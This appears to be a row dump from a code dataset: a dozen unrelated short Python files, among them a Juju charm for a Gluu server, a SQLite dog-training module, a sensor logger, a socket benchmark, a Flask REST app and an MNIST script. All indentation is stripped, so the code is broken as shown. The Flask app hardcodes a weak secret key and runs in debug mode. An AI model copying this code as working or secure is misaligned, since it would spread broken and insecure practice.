run('chroot /home/gluu-server wget {} -P /root'.format(MASTER))
#extract setup script
run('chroot /home/gluu-server unzip /root/master.zip -d /root')
@hooks.hook('config-changed')
def config_changed():
config = hookenv.config()
for key in config:
if config.changed(key):
log("config['{}'] changed from {} to {}".format(
key, config.previous(key), config[key]))
if config.changed('properties'):
locked = os.path.isfile('/var/lock/gluu-server-juju.lock')
if not locked:
try:
properties = json.loads(config['properties'])
#validation
if len(properties) != NTV:
log('#gluu-server some properties are missing...')
return
for key in properties.iterkeys():
if not str(properties[key]).strip():
log('#gluu-server properties can not be empty...')
return
process_template("setup.properties.juju.tmpl", properties, '/tmp/setup.properties.juju')
run('cp /tmp/setup.properties.juju /home/gluu-server/root')
run('chroot /home/gluu-server python /root/community-edition-setup-master/setup.py -n -d /root/community-edition-setup-master -f /root/setup.properties.juju')
run('touch /var/lock/gluu-server-juju.lock')
except ValueError, e:
log("#gluu-server properties json data format error")
else:
log('#gluu-server properties can set one time only')
config.save()
#start()
@hooks.hook('upgrade-charm')
def upgrade_charm():
log('Upgrading gluu-server')
@hooks.hook('start')
def start():
log('Starting gluu-server...')
host.service_restart(SERVICE) or host.service_start(SERVICE)
#host.service_start(SERVICE)
hookenv.open_port(80)
hookenv.open_port(443)
@hooks.hook('stop')
def stop():
log('Stoping gluu-server...')
host.service_stop(SERVICE)
hookenv.close_port(80)
hookenv.close_port(443)
@hooks.hook('gluuserver-relation-joined')
def joined():
log('#gluu-server relation joined called...')
rel_data = {
'unit' : 'gluu-server',
'host' : unit_public_ip(),
}
hookenv.relation_set(rel_data)
@hooks.hook('gluuserver-relation-departed')
def departed():
log('#gluu-server relation departed called...')
@hooks.hook('gluuserver-relation-changed')
def changed():
log('#gluu-server relation changed called...')
@hooks.hook('gluuserver-relation-broken')
def broken():
log('#gluu-server relation broken called...')
if __name__ == "__main__":
# execute a hook based on the name the program is called by
hooks.execute(sys.argv)
|
16,988 | 5b1ab5b453f42d76240735e7c8c3580d65babb7b | import sqlite3, random
db_path = 'test.db'
trainers = ['Youngster Joey', 'Sabrina', 'Red', 'Steven', 'Allister']
# Connect to a database
def connect_db(path):
conn = sqlite3.connect(path)
# Convert tuples to dictionaries
conn.row_factory = sqlite3.Row
return (conn, conn.cursor())
# Show dog name and id
def show_dogs():
conn, cur = connect_db(db_path)
query = 'SELECT * FROM dogs'
results = cur.execute(query).fetchall()
conn.close()
return results
def read_dog_by_name_owner(dog_name, dog_owner):
conn, cur = connect_db(db_path)
query = 'SELECT * FROM dogs WHERE name=? AND owner=?'
results = cur.execute(query, (dog_name, dog_owner,)).fetchone()
conn.close()
print(results)
return results
# Read a pet given a pet id
def read_dog_by_id(dog_id):
conn, cur = connect_db(db_path)
query = 'SELECT * FROM dogs WHERE id=?'
result = cur.execute(query, (dog_id,)).fetchone()
conn.close()
return result
# Insert Pet Data to DB
def enroll_dog(dog_data):
conn, cur = connect_db(db_path)
query = 'INSERT INTO dogs (name, breed, age, owner, treats, pic, trainer, medical) VALUES (?,?,?,?,?,?,?,?)'
values = (dog_data['name'],
dog_data['breed'],
dog_data['age'],
dog_data['owner'],
dog_data['treats'],
dog_data['pic'],
dog_data['trainer'],
dog_data['medical'])
cur.execute(query, values)
conn.commit()
conn.close()
# Delete a pet record
def unenroll_dog(dog_id):
conn, cur = connect_db(db_path)
query = 'DELETE FROM dogs WHERE id=?'
cur.execute(query, (dog_id,))
conn.commit()
conn.close()
# Update Pet Data from DB
def update_dogs(dog_data):
conn, cur = connect_db(db_path)
query = 'UPDATE dogs SET name=?, breed=?, age=?, owner=?, treats=?, pic=? WHERE id=?'
values = (dog_data['name'],
dog_data['breed'],
dog_data['age'],
dog_data['owner'],
dog_data['treats'],
dog_data['pic'],
dog_data['id'])
cur.execute(query, values)
conn.commit()
conn.close()
def update_medical(dog_data):
conn, cur = connect_db(db_path)
query = 'UPDATE dogs SET medical = (SELECT medical FROM dogs WHERE id=?) ||","|| char(10) || ? WHERE id=?'
values = (dog_data['id'],
dog_data['medical'],
dog_data['id'])
cur.execute(query, values)
conn.commit()
conn.close()
def edit_medical(dog_data):
conn, cur = connect_db(db_path)
query = 'UPDATE dogs SET medical = ? WHERE id=?'
values = (dog_data['medical'],
dog_data['id'])
cur.execute(query, values)
conn.commit()
conn.close()
def assign_trainer():
return trainers[random.randint(0, len(trainers)-1)]
def order_by_trainer():
conn, cur = connect_db(db_path)
query = 'SELECT * FROM dogs ORDER BY trainer'
result = cur.execute(query).fetchall()
conn.close()
return result
def show_trainers():
conn, cur = connect_db(db_path)
query = 'SELECT DISTINCT trainer FROM dogs'
result = cur.execute(query).fetchall()
conn.close()
return result
def show_trainers_dogs(name):
conn, cur = connect_db(db_path)
query = 'SELECT * FROM dogs WHERE trainer=?'
result = cur.execute(query, (name,)).fetchall()
conn.close()
return result
def update_trick(dog_data):
conn, cur = connect_db(db_path)
query = 'UPDATE dogs SET tricks= (SELECT tricks FROM dogs WHERE id=?) ||", " || ? WHERE id=?'
values = (dog_data['id'], dog_data['tricks'], dog_data['id'])
cur.execute(query, values)
conn.commit()
conn.close()
|
16,989 | d7fec18603a437ccfa8b12f8b1b577a27d6cd91a | # -*- coding:utf-8 -*-
# _all_ = ['read'] # ๅชๆmoneyๅ้ๅฏไปฅไฝฟ็จ
print('in demo.py')
money = 10000
def read():
print('in read',money)
if __name__ == '__main__':
print('run the demo')
print(__name__) #__main__
|
16,990 | ee893b8b6ec097781f5c61df4b437ef998ac5aed | # SPDX-FileCopyrightText: 2021 phearzero for Telluric Guru
# SPDX-License-Identifier: MIT
import time
import board
import analogio
import adafruit_bme680
from simpleio import map_range
from minipb import Wire
buffer = Wire((
('temperature', 'f'),
('altitude', 'f'),
('sea_level_pressure', 'f'),
('replicates', 'f'),
('pressure', 'f'),
('intervals', 'f'),
('gas', 'f'),
('humidity', 'f'),
('wind_speed', 'f'),
('timestamp', 'f'),
))
# anemometer defaults
anemometer_min_volts = 0.4
anemometer_max_volts = 2.0
min_wind_speed = 0.0
max_wind_speed = 32.4
def adc_to_wind_speed(val):
"""Returns anemometer wind speed, in m/s.
:param int val: ADC value
"""
voltage_val = val / 65535 * 3.3
return map_range(voltage_val, 0.4, 2, 0, 32.4)
i2c = board.I2C() # uses board.SCL and board.SDA
class Observations:
# Interval Checks
interval = 900000 # Real 15 Min
interval_start = 0
# Sensor Data
temperature = []
humidity = []
altitude = []
gas = []
pressure = []
wind_speed = []
# Sensor API
sensor = adafruit_bme680.Adafruit_BME680_I2C(i2c)
# Analog Input
adc = analogio.AnalogIn(board.A1)
def __init__(self, bus, secrets, callback):
print('โจ Creating a new Observations Interface()')
self.interval_start = Observations.get_time()
self.secrets = secrets
self.bus = bus
self.callback = callback
def __str__(self):
return buffer.encode({
'temperature': self.temperature[0],
'humidity': self.humidity[0],
'altitude': self.altitude[0],
'gas': self.gas[0],
'pressure': self.pressure[0],
'sea_level_pressure': self.sensor.sea_level_pressure,
'wind_speed': self.wind_speed[0]
})
@staticmethod
def get_time():
return round(time.time() * 1000)
def averages(self, timestamp):
res = {
"timestamp": timestamp,
"replicates": 1,
"intervals": len(self.temperature),
"temperature": sum(self.temperature) / len(self.temperature),
"gas": sum(self.gas) / len(self.gas),
"humidity": sum(self.humidity) / len(self.humidity),
"pressure": sum(self.pressure) / len(self.pressure),
"altitude": sum(self.altitude) / len(self.altitude),
"sea_level_pressure": self.sensor.sea_level_pressure,
"wind_speed": sum(self.wind_speed)/len(self.wind_speed)
}
self.temperature.clear()
self.humidity.clear()
self.gas.clear()
self.pressure.clear()
self.altitude.clear()
self.wind_speed.clear()
return res
def loop(self):
print(' โจ Observation Loop')
self.callback({
"temperature": self.sensor.temperature,
"humidity": self.sensor.humidity,
"gas": self.sensor.gas,
"pressure": self.sensor.pressure,
"altitude": self.sensor.altitude,
"sea_level_pressure": self.sensor.sea_level_pressure,
"wind_speed": adc_to_wind_speed(self.adc.value)
})
if self.interval_start + self.interval < Observations.get_time():
self.interval_start = Observations.get_time()
avgs = self.averages(self.interval_start)
self.bus.client.publish(self.secrets['buffer'], buffer.encode(avgs))
self.temperature.append(self.sensor.temperature)
self.humidity.append(self.sensor.humidity)
self.gas.append(self.sensor.gas)
self.pressure.append(self.sensor.pressure)
self.altitude.append(self.sensor.altitude)
self.wind_speed.append(adc_to_wind_speed(self.adc.value))
|
16,991 | 5c8de81d285c587c0ad122775ce04df9aa56e830 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket, struct
import sys
import traceback
import json
import time
reload(sys)
sys.setdefaultencoding('utf-8')
"""
ESBoost%d%s: %d msg_len msg
"""
ip = '192.168.86.39'
port = 12711
client_socket = None
def init():
global client_socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.settimeout(2) # set time out
client_socket.connect((ip, port))
def cleanup():
global client_socket
# before clean up
print "before doing clean up..."
if client_socket:
try:
client_socket.close()
except:
print "catch an exception %s" % (traceback.format_exc())
# end clean up
print "end clean up."
if __name__ == '__main__':
req_str = json.dumps({'usr_id':'zhushou1_iflytek_web', 'category':'qa_chat|qa_datetime|qa_music|qa_forbidden|qa_calc|qa_pattern|qa_baike|qa_faq', 'q':'1+1', 'UUID':'xxxxxxxx'})
req_head = struct.pack('i', len(req_str))
start = time.time()
for j in range(1000):
try:
ret_val = ""
init()
client_socket.send('%s%s' % (req_head, req_str))
buf_len = client_socket.recv(4)
(msg_len,) = struct.unpack('i', buf_len)
#print msg_len
while msg_len > 0:
buf = client_socket.recv(1024)
#print "msg_len: %d, buf_len: %d, receive message: %s" %(msg_len, len(buf), buf)
if not len(buf):
break
msg_len -= len(buf)
ret_val = '%s%s' %(ret_val, buf)
print '%s' %(ret_val)
except socket.timeout, e:
print "socket timeout error: %s" %(traceback.format_exc())
except Exception, e:
print "socket send and recieve Error: %s" %(traceback.format_exc())
else:
cleanup()
end = time.time()
print 'eclipse time: %d' %(1000*(end-start))
#print ret_val |
16,992 | 20505cc64a6684cb4f92364c27961ba54cf427ef | def addition(num1 , num2):
''' adding two numbers'''
sum = num1 + num2
return(sum)
addition(5 , 6) |
16,993 | 52edd7acd863094c3553e5cbbdc16b474110ff5c | #!/usr/bin/env python
import re, os
path = r"."
main_dir = os.listdir(path)
log = open("log.txt", "w")
file_types = ['*.xlsx', '*.xls', '*.xlsm', '*.docx', '*.doc', '*.msg', '*.xlsb', '*.pdf', '*.zip']
file_type_sans_dot = [f.strip('*.') for f in file_types]
# print(file_type_sans_dot)
def search():
# ugly bruteforce not sure how else to go about it yet
for sub_dir in main_dir: # working dir contains folders categorized by file type
for i in file_type_sans_dot: # each file type's folder
if os.path.exists(sub_dir):
os.chdir("%s_files" % i) # e.g. cd into .\xlsx_files
for file in os.listdir('.'):
# is this necessary or does os module know it's current dir? or do you need '.' for it to know?
sub_path = path + "\\" + "%s_files" % i
# indendation error? how
filepath = os.path.join(sub_path, file) # file = .\xlsx_files\files
text = open(filepath, "r")
num_matches = 0
keywords = "social" # might be better to split this in a new function and pass in from a .txt file
matches = re.findall(r'[\w\.-]+@[\w\.-]+', keywords) # doesn't work for xlsx
# TODO: figure out how to search
# iter_rows() might be of use
# maybe just search for each unique file type? so group doc/docx, xlsb/xlsm/xls/xlsx, etc. possibly as helpers
for line in text: # might work for doc due to compiler error for "matches"
for word in matches: # regex
# matched = re.match(word, line): # search = pattern vs. match = start of string
# if matched:
num_matches += 1
log.write(filepath + "|" + line,) # write to file
# redact = '*******' # obviously doesn't work (yet)
# set line = redact
text.close()
if __name__ == '__main__':
search() |
16,994 | 40443c8f391def9da3385888875991f2e2a063be | import os
basedir=os.path.abspath(os.path.dirname(__file__))
class Config(object):
ADMIN='si'
DEBUG=True
SQLALCHEMY_DATABASE_URI=""
class DevConfig(Config):
SQLALCHEMY_DATABASE_URI='sqlite:///' + os.path.join(basedir, 'data.db')
HEADERS={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0'
}
config={
'default':DevConfig
} |
16,995 | 7458226d5885a4bb30fb9e5685160a0762baf4b0 | import logging.config
import os
from time import sleep
log_path = './logs'
if not os.path.exists(log_path):
os.makedirs(log_path)
CONF_LOG = "./log_conf"
logging.config.fileConfig(CONF_LOG); # ้็จ้
็ฝฎๆไปถ
# print(logging.config.fileConfig(CONF_LOG))
logger = logging.getLogger('applog')
if __name__ == '__main__':
while True:
logger.info("Hello ๏ผ")
logger.error("error๏ผ")
sleep(2) |
16,996 | 02e29c34b8c1b4bc720cf100e1aaf134b52d25c3 | def avg(grades):
'''
Returns an average of a list.
Raises an AssertionError if it is given an empty list for grades
'''
assert not len(grades) == 0, 'no grades data'
return sum(grades) / len(grades)
print(avg([5, 6, 7]))
print(avg([])) |
16,997 | e42bcfcdce170df86ca342c13a4d50c9482ac350 | import os
from flask import Flask
from flask_restful import Api
from flask_jwt import JWT
from security import authenticate, identity
from werkzeug.contrib.fixers import ProxyFix
from resources.user import UserRegister
from resources.item import Item, ItemList
from datetime import timedelta
from resources.store import Store, StoreList
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('DATABASE_URL', 'sqlite:///data.db')
app.config['JWT_EXPIRATION_DELTA'] = timedelta(seconds=1800)
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False # switch off flask-sqlalc_track_modif but not sqlalchemy
app.secret_key = 'somecode'
api = Api(app)
app.wsgi_app = ProxyFix(app.wsgi_app)
jwt = JWT(app, authenticate, identity) # create /auth
api.add_resource(ItemList, '/items')
api.add_resource(Item, '/item/<string:name>')
api.add_resource(Store, '/store/<string:name>')
api.add_resource(StoreList, '/stores/')
api.add_resource(UserRegister, '/register')
if __name__ == '__main__':
from db import db
db.init_app(app)
app.run(port=5000, debug=True)
|
16,998 | 944d433d4da9a755a7ac4b5e98bb5f9e86390512 | import numpy as np
import tensorflow as tf
from sklearn.preprocessing import OneHotEncoder
mnist = tf.keras.datasets.mnist
(X_train, y_train), (X_test, y_test) = mnist.load_data()
X_train = np.reshape(X_train, (X_train.shape[0], -1))
X_test = np.reshape(X_test, (X_test.shape[0], -1))
y_train = y_train.reshape(len(y_train), 1)
onehot_encoder_train = OneHotEncoder(sparse=False, categories='auto')
y_train = onehot_encoder_train.fit_transform(y_train)
y_test = y_test.reshape(len(y_test), 1)
onehot_encoder_test = OneHotEncoder(sparse=False, categories='auto')
y_test = onehot_encoder_test.fit_transform(y_test)
NUM_STEPS = 10
MINIBATCH_SIZE = 64
n_batches = len(X_train) // MINIBATCH_SIZE
x = tf.placeholder(tf.float32, [None, 784])
W = tf.Variable(tf.zeros([784, 10]))
y_true = tf.placeholder(tf.float32, [None, 10])
y_pred = tf.matmul(x, W)
cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=y_pred, labels=y_true))
gd_step = tf.train.GradientDescentOptimizer(0.1).minimize(cross_entropy)
correct_mask = tf.equal(tf.argmax(y_pred, 1), tf.argmax(y_true, 1))
accuracy = tf.reduce_mean(tf.cast(correct_mask, tf.float32))
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
for i in range(NUM_STEPS):
print("epoch: %d" % i)
np.random.shuffle(X_train)
for j in range(n_batches):
batch_xs = X_train[j * MINIBATCH_SIZE:(j + 1) * MINIBATCH_SIZE]
batch_ys = y_train[j * MINIBATCH_SIZE:(j + 1) * MINIBATCH_SIZE]
sess.run(gd_step, feed_dict={x: batch_xs, y_true: batch_ys})
train_accuracy = sess.run(accuracy, feed_dict={x: X_train, y_true: y_train})
print("Train Accuracy: {:.4}%".format(train_accuracy * 100))
test_accuracy = sess.run(accuracy, feed_dict={x: X_test, y_true: y_test})
print("Test Accuracy: {:.4}%".format(test_accuracy * 100))
|
16,999 | 6308c0f567c5e4996f803c2ed23b54da4ae79601 | import random
import sys
def game(name, ch):
u_score = 0
c_score = 0
chances = int(input("\nEnter the number of chances: "))
while chances>0:
user = input(f"\n{name}, Enter your choice: ")
comp = random.choice(ch)
if user in ch:
print(f"Computer has selected {comp}")
if user == 'paper':
if comp == 'rock':
u_score += 1
elif comp == 'scissor':
c_score += 1
if user == 'rock':
if comp == 'scissor':
u_score += 1
elif comp == 'paper':
c_score += 1
if user == 'scissor':
if comp == 'paper':
u_score += 1
elif comp == 'rock':
c_score += 1
print(f"{name}'s score is {u_score}")
print(f"Computer's score is {c_score}")
else:
print("Choices should be in Format of 'rock','paper','scissor'")
chances += 1
chances -= 1
if u_score > c_score:
print(f"Congratulations {name}! You are winner.")
elif c_score > u_score:
print(f"Sorry {name}! You lose this game, Computer is winner.")
else:
print(f"Game is Tied")
c = input(f"\n{name}, Do you want to play again Y/N: ")
if c == 'y' or c=='Y':
game(name, ch)
else:
sys.exit()
if __name__ == "__main__":
ch = ['rock','paper','scissor']
print("Choices should be in Format of 'rock','paper','scissor'\n")
name = input("Enter your name: ")
game(name, ch)
|
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